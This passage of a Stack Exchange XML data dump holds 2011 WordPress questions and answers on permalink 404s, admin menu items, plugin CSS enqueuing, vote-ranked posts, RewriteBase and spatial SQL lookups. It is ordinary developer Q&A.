&quot;cat&quot; and not the default &quot;category&quot; but reverting to the default doesn't solve anything. Any clues?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; I saw &lt;a href=&quot;http://wordpress.org/support/topic/troubleshooting-wordpress-31-master-list?replies=22&quot; rel=&quot;nofollow&quot;&gt;Ipstenu's sticky on WP forums&lt;/a&gt; and found that Advanced Permalinks are known to have a problem with WP 3.1, so I disabled it and recreated by permalinks but still no joy. What did I miss? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far, I have tried recreating permalinks, flushing rewrite rules by calling &lt;code&gt;global $wp_rewrite; $wp_rewrite-&amp;gt;flush_rules();&lt;/code&gt; in &lt;code&gt;functions.php&lt;/code&gt;, deleting &lt;code&gt;rewrite_rules&lt;/code&gt; in &lt;code&gt;options table&lt;/code&gt; &amp;amp; even deleting &lt;code&gt;.htaccess&lt;/code&gt; file. So I am clueless and would appreciate if someone can give me a clue how it can be fixed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Further Edit:&lt;/strong&gt; If I delete the .htaccess file, the site behaves if it was there and I can browse pretty permalinks without any issue (.htaccess file is not there in the WP root) but when I resave permalinks, it is created there. So can there be some kind of fallback for .htaccess because this shouldn't be possible without rules in .htaccess?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; I am still stuck at the issue. Can anyone please help me out?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Final Edit:&lt;/strong&gt; Is there anything left in the wild that I can do to troubleshoot this issue? I have lost hope on this one.&lt;/p&gt;&#xA;" OwnerUserId="1521" LastEditorUserId="1521" LastEditorDisplayName="" LastEditDate="2011-03-06T12:41:25.797" LastActivityDate="2011-03-19T07:51:26.980" Title="WordPress category gives 404 after moving to a different domain" Tags="&lt;categories&gt;&lt;404-error&gt;&lt;htaccess&gt;" AnswerCount="3" />
  <row Id="10468" PostTypeId="2" ParentId="10463" CreationDate="2011-02-25T19:35:51.103" Score="1" ViewCount="" Body="&lt;p&gt;Yes, WordPress loads up everything first and then does what we ask it to do. I can recall somewhere that we can create a virtual pool in RAM where we can put in files.&#xA;I had the idea of putting the whole WordPress in memory (&amp;lt;10MB) &amp;amp; then we can save a lot of I/O which alone should give a speed boost. But I never got the chance to try it and moreover I am not really that much proficient in pursuing something like that. But it looks worth a try.&lt;/p&gt;&#xA;" OwnerUserId="1521" LastActivityDate="2011-02-25T19:35:51.103" CommentCount="3" />
  <row Id="10469" PostTypeId="2" ParentId="10462" CreationDate="2011-02-25T19:41:07.817" Score="1" ViewCount="" Body="&lt;p&gt;I believe it would be using postmeta to save votes. I would do that by doing a &#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts&quot; rel=&quot;nofollow&quot;&gt;query_post&lt;/a&gt; order by that meta value and get two posts &amp;amp; save their ID in an array and then again use query_posts with &lt;code&gt;post__not_in&lt;/code&gt; to not to include those posts in the remaining loop&lt;/p&gt;&#xA;" OwnerUserId="1521" LastActivityDate="2011-02-25T19:41:07.817" CommentCount="2" />
  <row Id="10470" PostTypeId="2" ParentId="10462" CreationDate="2011-02-25T19:42:14.437" Score="1" ViewCount="" Body="&lt;p&gt;a while back i used that plugin and i needed a way to list most voted posts so after looking at the plugin's widget code and i came up with this function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function top_voted($number){&#xA;    $a = SortVotes();&#xA;    echo '&amp;lt;div class=&quot;voted&quot;&amp;gt;';&#xA;    $rows = 0;&#xA;    //Now does not include deleted posts&#xA;    $i = 0;&#xA;    while ($rows &amp;lt; $number)) {&#xA;        if ($a[0][$i][0] != '') {&#xA;                $postdat = get_post($a[0][$i][0]);&#xA;            if (!empty($postdat)) {&#xA;                $rows++;&#xA;                echo '&amp;lt;div class=&quot;fore&quot;&amp;gt;';&#xA;                echo '&amp;lt;div class=&quot;votecount&quot; style=&quot;width: 1em; color: #555555; font-weight: bold;&quot;&amp;gt;'.$a[1][$i][0].' &amp;lt;/div&amp;gt;&amp;lt;div&amp;gt;&amp;lt;a href=&quot;'.$postdat-&amp;gt;guid.'&quot; title=&quot;'.$postdat-&amp;gt;post_title.'&quot;&amp;gt;'.$postdat-&amp;gt;post_title.'&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;';&#xA;                echo '&amp;lt;/div&amp;gt;';&#xA;            }&#xA;        }&#xA;        if ($i &amp;lt; count($a[0])) {&#xA;            $i++;&#xA;        } else {&#xA;            break; //exit the loop&#xA;        }&#xA;    }&#xA;    echo '&amp;lt;/div&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Usage: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;top_voted(5);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-25T19:42:14.437" CommentCount="3" />
  <row Id="10471" PostTypeId="1" AcceptedAnswerId="10472" CreationDate="2011-02-25T19:44:06.647" Score="1" ViewCount="69" Body="&lt;p&gt;A lot of questions are about plugins and themes, that you don't necessarily have installed. Downloading zip archive, unpacking and opening in editor seems like a too much hassle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If only there was a way to just browse source of WordPress and all of plugins and themes int its repository...&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-25T20:08:40.447" Title="How to look at code in WordPress repositories without downloading?" Tags="&lt;search&gt;&lt;subversion&gt;&lt;trac&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="10472" PostTypeId="2" ParentId="10471" CreationDate="2011-02-25T19:53:29.897" Score="4" ViewCount="" Body="&lt;p&gt;Good news and more good news!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First - all of the code related to WordPress itself and its repositories resides in version control system (&lt;a href=&quot;http://subversion.apache.org/&quot; rel=&quot;nofollow&quot;&gt;Subversion&lt;/a&gt;). Among other things that makes publicly available sites with all code in plain sight:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://core.svn.wordpress.org/&quot; rel=&quot;nofollow&quot;&gt;http://core.svn.wordpress.org/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://themes.svn.wordpress.org/&quot; rel=&quot;nofollow&quot;&gt;http://themes.svn.wordpress.org/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://plugins.svn.wordpress.org/&quot; rel=&quot;nofollow&quot;&gt;http://plugins.svn.wordpress.org/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;One not so obvious result of that - if you can see it, so can our overlord Google. Basically you can google through that code quite successfully by adding modifier like &lt;code&gt;site:http://core.svn.wordpress.org/&lt;/code&gt; to your query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But that is not all. WordPress project also uses &lt;a href=&quot;http://trac.edgewall.org/&quot; rel=&quot;nofollow&quot;&gt;Trac&lt;/a&gt;. That is actually piece of software, not just mythical place for WP demigods to hang out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Among other things trac has &lt;em&gt;browser&lt;/em&gt; feature that interfaces with SVN and provides prettified, ajaxified and in other ways glorious human-friendly way to browse through code:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://core.trac.wordpress.org/browser&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/browser&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://plugins.trac.wordpress.org/browser&quot; rel=&quot;nofollow&quot;&gt;http://plugins.trac.wordpress.org/browser&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://themes.trac.wordpress.org/browser&quot; rel=&quot;nofollow&quot;&gt;http://themes.trac.wordpress.org/browser&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Note that it can take a long time to open root of browser for plugins and themes, because there are tons of either. It is usually faster to type in name of specific plugin/theme at end of URL (it will be same as in repository), for example &lt;a href=&quot;http://themes.trac.wordpress.org/browser/hybrid&quot; rel=&quot;nofollow&quot;&gt;http://themes.trac.wordpress.org/browser/hybrid&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also note that trac browser gives nice way to link to specific lines of code for reference, with number of line for an anchor &lt;a href=&quot;http://themes.trac.wordpress.org/browser/hybrid/0.8/index.php#L13&quot; rel=&quot;nofollow&quot;&gt;http://themes.trac.wordpress.org/browser/hybrid/0.8/index.php#L13&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-25T19:53:29.897" CommentCount="6" />
  <row Id="10473" PostTypeId="1" CreationDate="2011-02-25T20:04:42.347" Score="-1" ViewCount="383" Body="&lt;p&gt;I am working on a blogging website ..! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to create Signup Registration and allow multiple users to blog on our website. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;i.e ) Website will blogged by myself and also allows any registered users to blog on our website. In addition we allow any anonymous comments to be posted on the blogs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A registered user can tag / follow their favorite blogs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to create a Signup Registration on Wordpress Blogging Website and allow any registered users to blog on our website ?&lt;/p&gt;&#xA;" OwnerUserId="3490" LastActivityDate="2011-07-16T09:13:52.900" Title="wordpress - user registration ( signup registration )" Tags="&lt;3.0.1&gt;&lt;wordpress.com&gt;" AnswerCount="4" CommentCount="1" />
  <row Id="10475" PostTypeId="1" CreationDate="2011-02-25T20:09:27.927" Score="1" ViewCount="252" Body="&lt;p&gt;I have a site with eight custom post types. Each is registered with &lt;code&gt;'menu_position' =&amp;gt; 5&lt;/code&gt; (below the Post menu). A side effect of having more than four CPTs is that the Media menu now appears in the middle of the list of CPTs (see image).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/dmWyX.png&quot; alt=&quot;Admin menu with many custom post types&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My solution is to duplicate the Media menu item in a lower position, then unset the original Media menu item:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'admin_head', 'change_menu_items' );&#xA;&#xA;function change_menu_items() {&#xA;&#xA;    global $menu;&#xA;&#xA;    $menu[14] = $menu[10];&#xA;    unset( $menu[10] );&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My question is: is this likely to cause any unforeseen side effects? I haven't come across any yet, but just wanted to make sure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2877" LastActivityDate="2011-02-26T02:00:24.583" Title="Is it OK to move admin menu items?" Tags="&lt;custom-post-types&gt;&lt;wp-admin&gt;&lt;admin&gt;&lt;admin-menu&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" />
  <row Id="10476" PostTypeId="2" ParentId="10457" CreationDate="2011-02-25T20:17:50.017" Score="1" ViewCount="" Body="&lt;p&gt;make sure that the post as a customfield named &lt;code&gt;'location'&lt;/code&gt; and the page you are viewing is using &lt;code&gt;the_content()&lt;/code&gt; or if you want this to work on categories and archives then add:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('the_excerpt', 'show_popup');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;hope this helps&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-25T20:17:50.017" CommentCount="2" />
  <row Id="10477" PostTypeId="1" AcceptedAnswerId="10479" CreationDate="2011-02-25T20:25:00.897" Score="1" ViewCount="417" Body="&lt;p&gt;I'm looking for the best way to inject CSS into WordPress' Admin CP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, I'm using the &lt;code&gt;admin_head&lt;/code&gt; action hook and in this hook, I'm using &lt;code&gt;dirname( __FILE__ )&lt;/code&gt; to retrieve the directory for the stylesheets. However, &lt;code&gt;dirname()&lt;/code&gt; does retrieve the server's path. &lt;strong&gt;Is this the recommended way or is there some sort of WordPress function to get a &lt;em&gt;URI&lt;/em&gt; path rather than a &lt;em&gt;directory&lt;/em&gt; path?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    public function admin_head()&#xA;    {&#xA;        // Let's include the Control Panel CSS&#xA;        $url = dirname( __FILE__ ) . '/css/cpanel.css';&#xA;        $ie = dirname( __FILE__ ) . '/css/cpanel-ie.css';&#xA;&#xA;        // Inject our cPanel styelsheet and add a conditionaly for Internet Explorer&#xA;        //      (fixes bugs on my home browser)&#xA;        $head = &amp;lt;&amp;lt;&amp;lt;HEAD&#xA;    &amp;lt;link rel=&quot;stylesheet&quot; href=&quot;{$url}&quot; type=&quot;text/css&quot; media=&quot;screen&quot; /&amp;gt;&#xA;    &amp;lt;!--[if IE]&amp;gt;&#xA;        &amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;{$ie}&quot; media=&quot;screen&quot; /&amp;gt;&#xA;    &amp;lt;![endif]--&amp;gt;&#xA;HEAD;&#xA;&#xA;        echo $head; &#xA;&#xA;        foreach( self::$classes as $class =&amp;gt; $obj )&#xA;        {&#xA;            if ( method_exists( $obj, 'admin_head' ) )&#xA;            {&#xA;                $obj-&amp;gt;admin_head();&#xA;            }&#xA;        }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;-Zack&lt;/p&gt;&#xA;" OwnerUserId="2322" LastActivityDate="2011-02-25T21:36:06.953" Title="Best way to inject css into admin_head in plugins?" Tags="&lt;plugins&gt;&lt;css&gt;" AnswerCount="3" FavoriteCount="2" />
  <row Id="10478" PostTypeId="1" AcceptedAnswerId="10541" CreationDate="2011-02-25T20:28:34.123" Score="0" ViewCount="124" Body="&lt;p&gt;I have created a site and would like to create another version of the same site using the same exact database (db location, users, everything). The two sites would share one database. I already have one site created and wanted to know how feasible it is to do, and instructions on how to do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, the site up now is for consumers and the other version will be for corporate clients. Please give me some advice on how to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site is: &lt;a href=&quot;http://www.savingsulove.com&quot; rel=&quot;nofollow&quot;&gt;www.savingsulove.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot for the help.&lt;/p&gt;&#xA;" OwnerUserId="1893" LastActivityDate="2011-02-26T16:45:56.427" Title="How to create another version of my site based on the same database" Tags="&lt;php&gt;&lt;mysql&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="10479" PostTypeId="2" ParentId="10477" CreationDate="2011-02-25T20:30:57.697" Score="2" ViewCount="" Body="&lt;p&gt;See &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/plugins_url&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;plugins_url()&lt;/code&gt;&lt;/a&gt;. It's perfect and engineered to link to files in plugin folders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS also &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_style&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_enqueue_style()&lt;/code&gt;&lt;/a&gt; might make sense in the mix.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-25T20:30:57.697" CommentCount="2" />
  <row Id="10480" PostTypeId="2" ParentId="10478" CreationDate="2011-02-25T20:40:06.950" Score="0" ViewCount="" Body="&lt;p&gt;There is not quite enough specific of what you have planned to suggest best approach.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;you can load different templates (or themes altogether) for different parts of single site;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;you can create &lt;a href=&quot;http://codex.wordpress.org/Create_A_Network&quot; rel=&quot;nofollow&quot;&gt;multisite&lt;/a&gt; installation and have two sites running of single WP core;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;you can override user handling so two separate sites use same source for that;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;etc...&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-25T20:40:06.950" CommentCount="7" />
  <row Id="10481" PostTypeId="1" AcceptedAnswerId="10497" CreationDate="2011-02-25T20:44:44.733" Score="2" ViewCount="913" Body="&lt;p&gt;Is there a way (besides adding a Custom Link) to add a custom post type archive to a menu in WordPress? If it's added using a custom link (e.g. /cpt-archive-slug/), WordPress does not apply classes like &lt;code&gt;current-menu-item&lt;/code&gt; to the list element, which presents challenges when styling the menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the custom link contains the entire URL (e.g. &lt;a href=&quot;http://site.com/cpt-archive-slug/&quot; rel=&quot;nofollow&quot;&gt;http://site.com/cpt-archive-slug/&lt;/a&gt;), those classes are added. However, that's probably not a 'best practice'.&lt;/p&gt;&#xA;" OwnerUserId="49" LastActivityDate="2011-07-14T18:52:09.170" Title="Adding custom post type archives to a WordPress menu" Tags="&lt;custom-post-types&gt;&lt;menus&gt;&lt;custom-post-type-archives&gt;" AnswerCount="3" FavoriteCount="2" />
  <row Id="10482" PostTypeId="2" ParentId="1759" CreationDate="2011-02-25T20:52:41.390" Score="0" ViewCount="" Body="&lt;p&gt;if your testing server is on windows, try adding /index.php/ to your permalink structure while testing - this works for me.&lt;/p&gt;&#xA;" OwnerUserId="1426" LastActivityDate="2011-02-25T20:52:41.390" />
  <row Id="10483" PostTypeId="1" AcceptedAnswerId="10492" CreationDate="2011-02-25T20:55:48.587" Score="0" ViewCount="122" Body="&lt;p&gt;Removing RewriteBase / from my htacess has sped up my site which is still working correctly.&#xA;Is it really required and what is it for?&lt;/p&gt;&#xA;" OwnerUserId="1426" LastEditorUserId="1426" LastEditorDisplayName="" LastEditDate="2011-02-26T10:42:36.613" LastActivityDate="2011-02-26T10:42:36.613" Title="Wordpress and Htaccess" Tags="&lt;mod-rewrite&gt;&lt;htaccess&gt;" AnswerCount="1" />
  <row Id="10484" PostTypeId="2" ParentId="10463" CreationDate="2011-02-25T21:09:28.340" Score="11" ViewCount="" Body="&lt;p&gt;Starting with WordPress 3.2, PHP 5.2 will be the minimum requirement. I think with that under our belts, bits of the core can start to be restructured, and use classes with auto-loading. This would let us avoid loading some chunks of code unless they were &lt;em&gt;actually&lt;/em&gt; needed. For example, if there were no embeds or galleries in a page view, we might be able to avoid loading a lot of the media code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, even if they decide to go that route, I would expect it to be a slow evolution (like much of the other under-the-hood changes that have occurred). It would require shuffling around the location of a lot of files and code, which could possibly break backwards compat for some plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Part of the problem (if it can really be called that) is that without that kind of conditional loading, the core framework can't know ahead of time which functionality it will need or not need in order to generate the content view. So a lot of functions have to be loaded up &lt;em&gt;just in case&lt;/em&gt; they're needed.&lt;/p&gt;&#xA;" OwnerUserId="65" LastActivityDate="2011-02-25T21:09:28.340" CommentCount="8" />
  <row Id="10485" PostTypeId="2" ParentId="10477" CreationDate="2011-02-25T21:19:14.673" Score="3" ViewCount="" Body="&lt;p&gt;I originally didn't think that this was possible, but then I did some digging and came up with the following solution which works for me on WordPress 3.1. The tricky part was getting the conditional tags for IE in there. There's a filter for it!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Plugin Name: My Plugin&#xA;*/&#xA;class My_Plugin {&#xA;    function My_Plugin() {&#xA;        add_action( 'wp_print_styles', array( &amp;amp;$this, 'css_public' ) );&#xA;        add_filter( 'style_loader_tag', array( &amp;amp;$this, 'ie_conditional_comments' ), 10, 2 );&#xA;    }&#xA;    function css_public() {&#xA;        wp_enqueue_style( 'my-plugin', plugins_url( '/my.css', __FILE__ ), array(), '1.0' );&#xA;        wp_enqueue_style( 'my-plugin-ie', plugins_url( '/my-ie.css', __FILE__ ), array( 'my-plugin' ), '1.0' );&#xA;    }&#xA;    function ie_conditional_comments( $tag, $handle ) {&#xA;        if ( 'my-plugin-ie' == $handle ) {&#xA;            $tag = '&amp;lt;!--[if IE]&amp;gt;' . $tag . '&amp;lt;![endif]--&amp;gt;';&#xA;        }&#xA;        return $tag;&#xA;    }&#xA;}&#xA;$my_plugin = new My_Plugin();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Best wishes,&#xA;-Mike&lt;/p&gt;&#xA;" OwnerUserId="1367" LastActivityDate="2011-02-25T21:19:14.673" CommentCount="2" />
  <row Id="10486" PostTypeId="2" ParentId="10473" CreationDate="2011-02-25T21:23:46.910" Score="0" ViewCount="" Body="&lt;p&gt;You can install and activate the Login with Ajax widget on your sidebar to give users easy access to the registration form.&lt;/p&gt;&#xA;" OwnerUserId="3290" LastActivityDate="2011-02-25T21:23:46.910" CommentCount="2" />
  <row Id="10487" PostTypeId="1" AcceptedAnswerId="10498" CreationDate="2011-02-25T21:28:18.747" Score="0" ViewCount="117" Body="&lt;p&gt;Can anyone recommend a flexible lightbox plugin that allows the popup lighbox to use an image and/or HTML?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to overlay some sort of help instructions on top of my WP home page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="3290" LastActivityDate="2011-02-25T22:47:45.437" Title="Recommend a flexible lightbox that allows an image or HTML to be used" Tags="&lt;plugins&gt;" AnswerCount="1" />
  <row Id="10488" PostTypeId="2" ParentId="10477" CreationDate="2011-02-25T21:36:06.953" Score="4" ViewCount="" Body="&lt;p&gt;There's another way to add conditional comments, using WP's API:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_enqueue_style(&#xA;    'my-ie-style',&#xA;     get_template_directory_uri() . '/css/cpanel-ie.css'&#xA;);&#xA;&#xA;global $wp_styles;&#xA;$wp_styles-&amp;gt;add_data( 'my-ie-style', 'conditional', 'IE' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;`&lt;/p&gt;&#xA;" OwnerUserId="3517" LastActivityDate="2011-02-25T21:36:06.953" CommentCount="4" />
  <row Id="10489" PostTypeId="2" ParentId="2162" CreationDate="2011-02-25T21:38:55.237" Score="0" ViewCount="" Body="&lt;p&gt;You can actually do so - &lt;a href=&quot;http://www.wpwebhost.com/make-bbpress-theme-match-with-wordpress-by-deep-integration/&quot; rel=&quot;nofollow&quot;&gt;http://www.wpwebhost.com/make-bbpress-theme-match-with-wordpress-by-deep-integration/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1521" LastActivityDate="2011-02-25T21:38:55.237" />
  <row Id="10490" PostTypeId="2" ParentId="10184" CreationDate="2011-02-25T21:43:35.543" Score="1" ViewCount="" Body="&lt;p&gt;You can achieve so by following this tutorial - &lt;a href=&quot;http://blog.ashfame.com/2009/07/integrate-bbpress-10-with-wordpress-28/&quot; rel=&quot;nofollow&quot;&gt;http://blog.ashfame.com/2009/07/integrate-bbpress-10-with-wordpress-28/&lt;/a&gt; and then keeping the bbPress integration plugin active on WordPress side (it is responsible for generating bbPress admin side cookies when you login from WordPress).&#xA;So see where you missed out and get it back on track. Let me know if you are stuck or lost.&lt;/p&gt;&#xA;" OwnerUserId="1521" LastActivityDate="2011-02-25T21:43:35.543" />
  <row Id="10491" PostTypeId="2" ParentId="468" CreationDate="2011-02-25T21:49:37.037" Score="0" ViewCount="" Body="&lt;p&gt;I'm late to the party on this one, but looking back at this, the &lt;code&gt;get_post_meta&lt;/code&gt; is really the problem here, rather than the SQL query you're using. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recently had to do a similar geo lookup on a site that I run, and rather than using the meta table to store lat and lon (which requires at best two joins to look up and, if you're using get_post_meta, two additional database queries per location), I created a new table with a spatially indexed geometry POINT data type. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My query looked a lot like yours, with MySQL doing a lot of the heavy lifting (I left out the trig functions and simplified everything to two-dimensional space, because it was close enough for my purposes):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function nearby_property_listings( $number = 5 ) {&#xA;    global $client_location, $wpdb;&#xA;&#xA;    //sanitize public inputs&#xA;    $lat = (float)$client_location['lat'];  &#xA;    $lon = (float)$client_location['lon']; &#xA;&#xA;    $sql = $wpdb-&amp;gt;prepare( &quot;SELECT *, ROUND( SQRT( ( ( ( Y(geolocation) - $lat) * &#xA;                                                       ( Y(geolocation) - $lat) ) *&#xA;                                                         69.1 * 69.1) +&#xA;                                                  ( ( X(geolocation) - $lon ) * &#xA;                                                       ( X(geolocation) - $lon ) * &#xA;                                                         53 * 53 ) ) ) as distance&#xA;                            FROM {$wpdb-&amp;gt;properties}&#xA;                            ORDER BY distance LIMIT %d&quot;, $number );&#xA;&#xA;    return $wpdb-&amp;gt;get_results( $sql );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where $client_location is a value returned by a public geo IP lookup service (I used geoio.com, but there are a number of similar ones.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It may seem unwieldy, but in testing it, it consistently returned the nearest 5 locations out of a 80,000-row table in under .4 sec. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Until MySQL rolls out the DISTANCE function that's being proposed, this seems like the best way I found to implement location lookups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; Adding the table structure for this particular table. Its a set of property listings, so it may or may not be similar to any other use-case.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CREATE TABLE IF NOT EXISTS `rh_properties` (&#xA;  `listingId` int(10) unsigned NOT NULL,&#xA;  `listingType` varchar(60) collate utf8_unicode_ci NOT NULL,&#xA;  `propertyType` varchar(60) collate utf8_unicode_ci NOT NULL,&#xA;  `status` varchar(20) collate utf8_unicode_ci NOT NULL,&#xA;  `street` varchar(64) collate utf8_unicode_ci NOT NULL,&#xA;  `city` varchar(24) collate utf8_unicode_ci NOT NULL,&#xA;  `state` varchar(5) collate utf8_unicode_ci NOT NULL,&#xA;  `zip` decimal(5,0) unsigned zerofill NOT NULL,&#xA;  `geolocation` point NOT NULL,&#xA;  `county` varchar(64) collate utf8_unicode_ci NOT NULL,&#xA;  `bedrooms` decimal(3,2) unsigned NOT NULL,&#xA;  `bathrooms` decimal(3,2) unsigned NOT NULL,&#xA;  `price` mediumint(8) unsigned NOT NULL,&#xA;  `image_url` varchar(255) collate utf8_unicode_ci NOT NULL,&#xA;  `description` mediumtext collate utf8_unicode_ci NOT NULL,&#xA;  `link` varchar(255) collate utf8_unicode_ci NOT NULL,&#xA;  PRIMARY KEY  (`listingId`),&#xA;  KEY `geolocation` (`geolocation`(25))&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;geolocation&lt;/code&gt; column is the only thing relevant for the purposes here; it consists of x(lon),y(lat) coordinates that I just look up from the address upon importing new values into the database.&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="290" LastEditorDisplayName="" LastEditDate="2011-03-07T23:12:39.127" LastActivityDate="2011-03-07T23:12:39.127" CommentCount="1" />
  <row Id="10492" PostTypeId="2" ParentId="10483" CreationDate="2011-02-25T21:52:51.760" Score="2" ViewCount="" Body="&lt;p&gt;'RewriteBase /' is not needed. RewriteBase allows you to change your internal directory structure to something other than what a browser sees. IE: If all your files are in 'http://mydomain.com/site', but you wanted 'http://mydomain.com' to be the path browsers see, you would use a &lt;code&gt;RewriteBase /site&lt;/code&gt; and apache's mod_rewrite would happily add that substitution for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A &lt;code&gt;RewriteBase /&lt;/code&gt; is not necessary.&lt;/p&gt;&#xA;" OwnerUserId="3357" LastActivityDate="2011-02-25T21:52:51.760" CommentCount="2" />
  <row Id="10493" PostTypeId="1" AcceptedAnswerId="10496" CreationDate="2011-02-25T21:58:15.170" Score="1" ViewCount="80" Body="&lt;p&gt;With WP 3.1, as we all know, the admin bar is a new feature on your blog when you are logged in as an administrator, but for some reason on my theme, the admin bar is not there. In it's place is a grey bar about 30 pixels tall (matching my pages background color).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could be hiding it? If it's useful, the theme is at wphax.com&lt;/p&gt;&#xA;" OwnerUserId="2415" LastActivityDate="2011-03-15T02:54:09.923" Title="New Admin Bar Not Functioning" Tags="&lt;admin-bar&gt;" AnswerCount="2" />
